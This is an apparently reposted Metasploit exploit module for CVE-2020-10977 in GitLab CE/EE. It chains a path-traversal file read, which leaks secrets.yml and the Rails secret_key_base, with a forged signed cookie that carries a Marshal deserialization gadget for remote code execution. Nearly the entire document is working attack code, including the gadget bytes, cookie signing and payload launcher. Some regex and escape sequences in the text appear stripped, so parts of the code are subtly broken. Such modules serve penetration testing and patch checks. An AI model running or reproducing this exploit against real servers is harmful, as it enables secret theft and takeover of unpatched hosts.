Authored by alanfoster, William Bowling | Site metasploit.com

This Metasploit module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails secret_key_base, and gains remote code execution with a deserialization vulnerability of a signed experimentation_subject_id cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced. Tested on GitLab 12.8.1 and 12.4.0.

advisories | CVE-2020-10977

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

# From Rails
class MessageVerifier

class InvalidSignature < StandardError
end

def initialize(secret, options = {})
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal
end

def generate(value)
data = ::Base64.strict_encode64(@serializer.dump(value))
"#{data}--#{generate_digest(data)}"
end

def generate_digest(data)
require 'openssl' unless defined?(OpenSSL)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
end

end

class NoopSerializer
def dump(value)
value
end
end

class KeyGenerator

def initialize(secret, options = {})
@secret = secret
@iterations = options[:iterations] || 2**16
end

def generate_key(salt, key_size = 64)
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
end

end

class GitLabClientException < StandardError; end

class GitLabClient
def initialize(http_client)
@http_client = http_client
@cookie_jar = {}
end

def sign_in(username, password)
sign_in_path = '/users/sign_in'
csrf_token = extract_csrf_token(
path: sign_in_path,
regex: %r{action="/users/sign_in".*name="authenticity_token"s+value="([^"]+)"}
)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => '/users/sign_in',
'cookie' => cookie,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'user[login]' => username,
'user[password]' => password,
'user[remember_me]' => 0
}
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.body.include?('Invalid Login or password')
raise GitLabClientException, 'Username or password invalid'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
elsif res.headers.fetch('Location', '').include?(sign_in_path)
raise GitLabClientException, 'Login not successful. The account may need activated. Verify login works manually.'
end

merge_cookie_jar(res)

current_user
end

def current_user
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => '/api/v4/user',
'cookie' => cookie
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

JSON.parse(res.body)
end

def version
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => '/api/v4/version',
'cookie' => cookie
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

JSON.parse(res.body)
end

def create_project(user:)
new_project_path = '/projects/new'
create_project_path = '/projects'

csrf_token = extract_csrf_token(
path: new_project_path,
regex: /action="#{create_project_path}".*name="authenticity_token"s+value="([^"]+)"/
)
project_name = Rex::Text.rand_text_alphanumeric(8)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => create_project_path,
'cookie' => cookie,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'project[ci_cd_only]' => 'false',
'project[name]' => project_name,
'project[namespace_id]' => (user['id']).to_s,
'project[path]' => project_name,
'project[description]' => Rex::Text.rand_text_alphanumeric(8),
'project[visibility_level]' => '0'
}
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.body.include?('Namespace is not valid')
raise GitLabClientException, 'This uer can not create additional projects, please delete some'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

merge_cookie_jar(res)

project(user: user, project_name: project_name)
end

def project(user:, project_name:)
project_path = "/#{user['username']}/#{project_name}"
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => project_path,
'cookie' => cookie
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

project_id = res.body[/Project ID: (d+)/, 1]
{
'id' => project_id,
'name' => project_name,
'path' => project_path,
'edit_path' => "#{project_path}/edit",
'delete_path' => "/#{user['username']}/#{project_name}"
}
end

def delete_project(project:)
edit_project_path = project['edit_path']
delete_project_path = project['delete_path']

csrf_token = extract_csrf_token(
path: edit_project_path,
regex: /action="#{delete_project_path}".*name="authenticity_token" value="([^"]+)"/
)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => delete_project_path,
'cookie' => cookie,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'_method' => 'delete'
}
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

true
end

def create_issue(project:, issue:)
new_issue_path = "#{project['path']}/issues/new"
create_issue_path = "#{project['path']}/issues"

csrf_token = extract_csrf_token(
path: new_issue_path,
regex: /action="#{create_issue_path}".*name="authenticity_token"s+value="([^"]+)"/
)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => create_issue_path,
'cookie' => cookie,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'issue[title]' => issue['title'] || Rex::Text.rand_text_alphanumeric(8),
'issue[description]' => issue['description'] || Rex::Text.rand_text_alphanumeric(8),
'issue[confidential]' => '0',
'issue[assignee_ids][]' => '0',
'issue[label_ids][]' => '',
'issue[due_date]' => '',
'issue[lock_version]' => '0'
}
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

merge_cookie_jar(res)
issue_id = res.body[%r{You are being <a href="http://.*#{create_issue_path}/(d+)">redirected</a>}, 1]

issue.merge({
'path' => "#{create_issue_path}/#{issue_id}",
'move_path' => "#{create_issue_path}/#{issue_id}/move"
})
end

def move_issue(issue:, target_project:)
issue_path = issue['path']
move_issue_path = issue['move_path']

csrf_token = extract_csrf_token(
path: issue_path,
regex: /name="csrf-token" content="([^"]+)"/
)

res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => move_issue_path,
'cookie' => cookie,
'ctype' => 'application/json',
'headers' => {
'X-CSRF-Token' => csrf_token,
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => {
'move_to_project_id' => (target_project['id']).to_s
}.to_json
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

json_res = JSON.parse(res.body)

{
'path' => json_res['web_url'],
'description' => json_res['description']
}
end

def download(project:, path:)
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => "#{project['path']}/#{path}",
'cookie' => cookie
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

res.body
end

private

attr_reader :http_client

def extract_csrf_token(path:, regex:)
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => path,
'cookie' => cookie
})

if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end

merge_cookie_jar(res)
token = res.body[regex, 1]
if token.nil?
raise GitLabClientException, 'Could not successfully extract CSRF token'
end

token
end

def cookie
return nil if @cookie_jar.empty?

@cookie_jar.map { |(k, v)| "#{k}=#{v}" }.join(' ')
end

def merge_cookie_jar(res)
new_cookies = Hash[res.get_cookies.split(' ').map { |x| x.split('=') }]
@cookie_jar.merge!(new_cookies)
end
end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab File Read Remote Code Execution',
'Description' => %q{
This module provides remote code execution against GitLab Community
Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file
read to extract the Rails "secret_key_base", and gains remote code
execution with a deserialization vulnerability of a signed
'experimentation_subject_id' cookie that GitLab uses internally for A/B
testing.

Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,
and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects
versions 12.4.0 and above when the vulnerable `experimentation_subject_id`
cookie was introduced.

Tested on GitLab 12.8.1 and 12.4.0.
},
'Author' =>
[
'William Bowling (vakzz)', # Discovery + PoC
'alanfoster', # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-10977'],
['URL', 'https://hackerone.com/reports/827052'],
['URL', 'https://about.gitlab.com/releases/2020/03/26/security-release-12-dot-9-dot-1-released/']
],
'DisclosureDate' => '2020-03-26',
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('USERNAME', [false, 'The username to authenticate as']),
OptString.new('PASSWORD', [false, 'The password for the specified username']),
OptString.new('TARGETURI', [true, 'The path to the vulnerable application', '/users/sign_in']),
OptString.new('SECRETS_PATH', [true, 'The path to the secrets.yml file', '/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml']),
OptString.new('SECRET_KEY_BASE', [false, 'The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present']),
OptInt.new('DEPTH', [true, 'Define the max traversal depth', 15])
]
)
register_advanced_options(
[
OptString.new('SignedCookieSalt', [ true, 'The signed cookie salt', 'signed cookie']),
OptInt.new('KeyGeneratorIterations', [ true, 'The key generator iterations', 1000])
]
)
end

#
# This stub ensures that the payload runs outside of the Rails process
# Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%^
code = '#{Rex::Text.encode_base64(code)}'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
Kernel.fork do
eval(code)
end
end
{}
^.strip.split(/n/).map(&:strip).join("n")
end

def build_payload
code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)"

# Originally created with Active Support 6.x
# code = '`curl 10.10.15.26`'
# erb = ERB.allocate; nil
# erb.instance_variable_set(:@src, code);
# erb.instance_variable_set(:@filename, "1")
# erb.instance_variable_set(:@lineno, 1)
# value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
# Marshal.dump(value)
"x04b"
'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy'
"t:[email protected]"
"o:bERB"
"b"
":[email protected]#{Marshal.dump(code)[2..-1]}"
":[email protected]"x061"
":[email protected]"
":[email protected]:vresult"
":[email protected]"[email protected]"
":[email protected]:x1FActiveSupport::Deprecationx00x06:x06ET"
end

def sign_payload(secret_key_base, payload)
key_generator = KeyGenerator.new(secret_key_base, { iterations: datastore['KeyGeneratorIterations'] })
key = key_generator.generate_key(datastore['SignedCookieSalt'])
verifier = MessageVerifier.new(key, { serializer: NoopSerializer.new })
verifier.generate(payload)
end

def check
validate_credentials_present!

git_lab_client = GitLabClient.new(self)
git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
version = Gem::Version.new(git_lab_client.version['version'][/(d+.d+.d+)/, 1])

# Arbitrary file reads are present from 8.5 and fixed in 12.9.1, 12.8.8, and 12.7.8
# However, RCE is only available from 12.4 and fixed in 12.9.1, 12.8.8, and 12.7.8
has_rce_present = (
version.between?(Gem::Version.new('12.4.0'), Gem::Version.new('12.7.7')) ||
version.between?(Gem::Version.new('12.8.0'), Gem::Version.new('12.8.7')) ||
version == Gem::Version.new('12.9.0')
)
if has_rce_present
return Exploit::CheckCode::Appears("GitLab #{version} is a vulnerable version.")
end

Exploit::CheckCode::Safe("GitLab #{version} is not a vulnerable version.")
rescue GitLabClientException => e
Exploit::CheckCode::Unknown(e.message)
end

def validate_credentials_present!
missing_options = []

missing_options << 'USERNAME' if datastore['USERNAME'].blank?
missing_options << 'PASSWORD' if datastore['PASSWORD'].blank?

if missing_options.any?
raise Msf::OptionValidateError, missing_options
end
end

def read_secret_key_base
return datastore['SECRET_KEY_BASE'] if datastore['SECRET_KEY_BASE'].present?

validate_credentials_present!
git_lab_client = GitLabClient.new(self)
user = git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
print_status("Logged in to user #{user['username']}")

project_a = git_lab_client.create_project(user: user)
print_status("Created project #{project_a['path']}")
project_b = git_lab_client.create_project(user: user)
print_status("Created project #{project_b['path']}")

issue = git_lab_client.create_issue(
project: project_a,
issue: {
'description' => "![#{Rex::Text.rand_text_alphanumeric(8)}](/uploads/#{Rex::Text.rand_text_numeric(32)}#{'/..' * datastore['DEPTH']}#{datastore['SECRETS_PATH']})"
}
)
print_status("Created issue #{issue['path']}")

print_status('Executing arbitrary file load')
moved_issue = git_lab_client.move_issue(issue: issue, target_project: project_b)
secrets_file_url = moved_issue['description'][/[secrets.yml]((.*))/, 1]
secrets_yml = git_lab_client.download(project: project_b, path: secrets_file_url)
loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml')
print_good("File saved as: '#{loot_path}'")

secret_key_base = secrets_yml[/secret_key_base:s+(.*)/, 1]
if secret_key_base.nil?
fail_with(Failure::UnexpectedReply, 'Unable to successfully extract leaked secret_key_base value')
end

print_good("Extracted secret_key_base #{secret_key_base}")
print_status('NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read')

secret_key_base
rescue GitLabClientException => e
fail_with(Failure::UnexpectedReply, e.message)
ensure
[project_a, project_b].each do |project|
begin
next unless project

print_status("Attempting to delete project #{project['path']}")
git_lab_client.delete_project(project: project)
print_status("Deleted project #{project['path']}")
rescue StandardError
print_error("Failed to delete project #{project['path']}")
end
end
end

def exploit
secret_key_base = read_secret_key_base

payload = build_payload
signed_cookie = sign_payload(secret_key_base, payload)
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'cookie' => "experimentation_subject_id=#{signed_cookie}"
})
end
end